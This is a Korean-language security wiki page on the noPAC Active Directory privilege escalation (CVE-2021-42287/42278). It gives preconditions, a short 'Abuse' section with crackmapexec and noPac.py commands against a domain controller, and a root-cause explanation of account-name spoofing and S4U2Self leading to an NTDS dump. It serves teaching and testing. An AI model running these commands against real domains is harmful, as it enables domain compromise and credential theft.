noPAC
CVE-2021-42287은 PAC 정보 없이도 낮은 권한의 사용자가 관리자 권한을 탈취할 수 있는 취약점입니다. 이 취약점은 CVE-2021-42278과 함께 사용되었을 때만 권한 상승이 가능하기 때문에 다음 조건을 모두 만족해야 합니다.
CVE-2021-42278에 취약한 환경
CVE-2021-42287에 취약한 환경
MAQ가 1 이상 설정된 도메인 계정
Abuse
# noPAC에 취약한지 확인
crackmapexec smb contoso.com -u user-A -p 'Password123!' -M noPac
# noPAC 및 라이브러리 설치
git clone https://github.com/Ridter/noPac.git
cd noPac
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# 악용
python3 noPac.py contoso.com/user-A:'Password123!' -dc-ip 192.168.1.11 -use-ldap
Root Cause
서버 매니저, 파워쉘의 New-ADComputer 등을 통해 도메인 컴퓨터 계정을 생성하거나 기존의 컴퓨터가 조인될 때, 컴퓨터 계정의 끝에는 "$" 기호가 추가됩니다.
과거에는 컴퓨터 계정에 붙은 "$" 기호까지 포함하여 도메인 객체 이름으로 취급했습니다. 사용자가 생성한 컴퓨터 이름은 DC01일지라도 최종적으로 도메인에 조인되어 DC01$가 된다면 DC01이라는 이름과 별개이기 때문에 DC01이라는 계정을 생성하는 것이 가능했습니다.


도메인 컨트롤러의 이름이 DC01$ 라고 가정할 때 공격자는 DC01 컴퓨터 계정을 생성할 수 있습니다. 이렇게 생성한 가짜 DC 계정의 TGT를 정상적으로 발급받습니다. TGT는 krbtgt의 패스워드 해시로 암호화 되어있으며, 이곳에는 티켓 주체의 정보가 담겨있습니다.

DC01 계정의 TGT 발급 이후, DC01 계정의 이름을 변경한 뒤, 발급했던 TGT를 이용하여 서비스 티켓을 요청할 때, KDC는 TGT를 복호화하여 요청자의 sAMAccountName을 도메인에서 확인하는데 TGT에 기입되었던 DC01이라는 이름은 더이상 도메인에 존재하지 않기 때문에 오류가 발생해야 합니다. 하지만 설계 오류로 인해 KDC는 존재하지 않는 것으로 판단된 이름 뒤에 "$" 기호를 추가하여 탐색하고, DC01$이 있다는 것을 확인합니다.
컴퓨터 계정은 S4U2Self를 통해 자신의 서비스에 대한 특정 도메인 계정의 티켓을 발급할 수 있습니다. 도메인 컨트롤러의 cifs 서비스 티켓을 관리자 권한으로 획득한다면 ntds 파일을 덤프할 수 있기 때문에 스스로에 대한 서비스를 Administrator를 주체로 하여 발급 요청합니다.


References
Last updated
Was this helpful?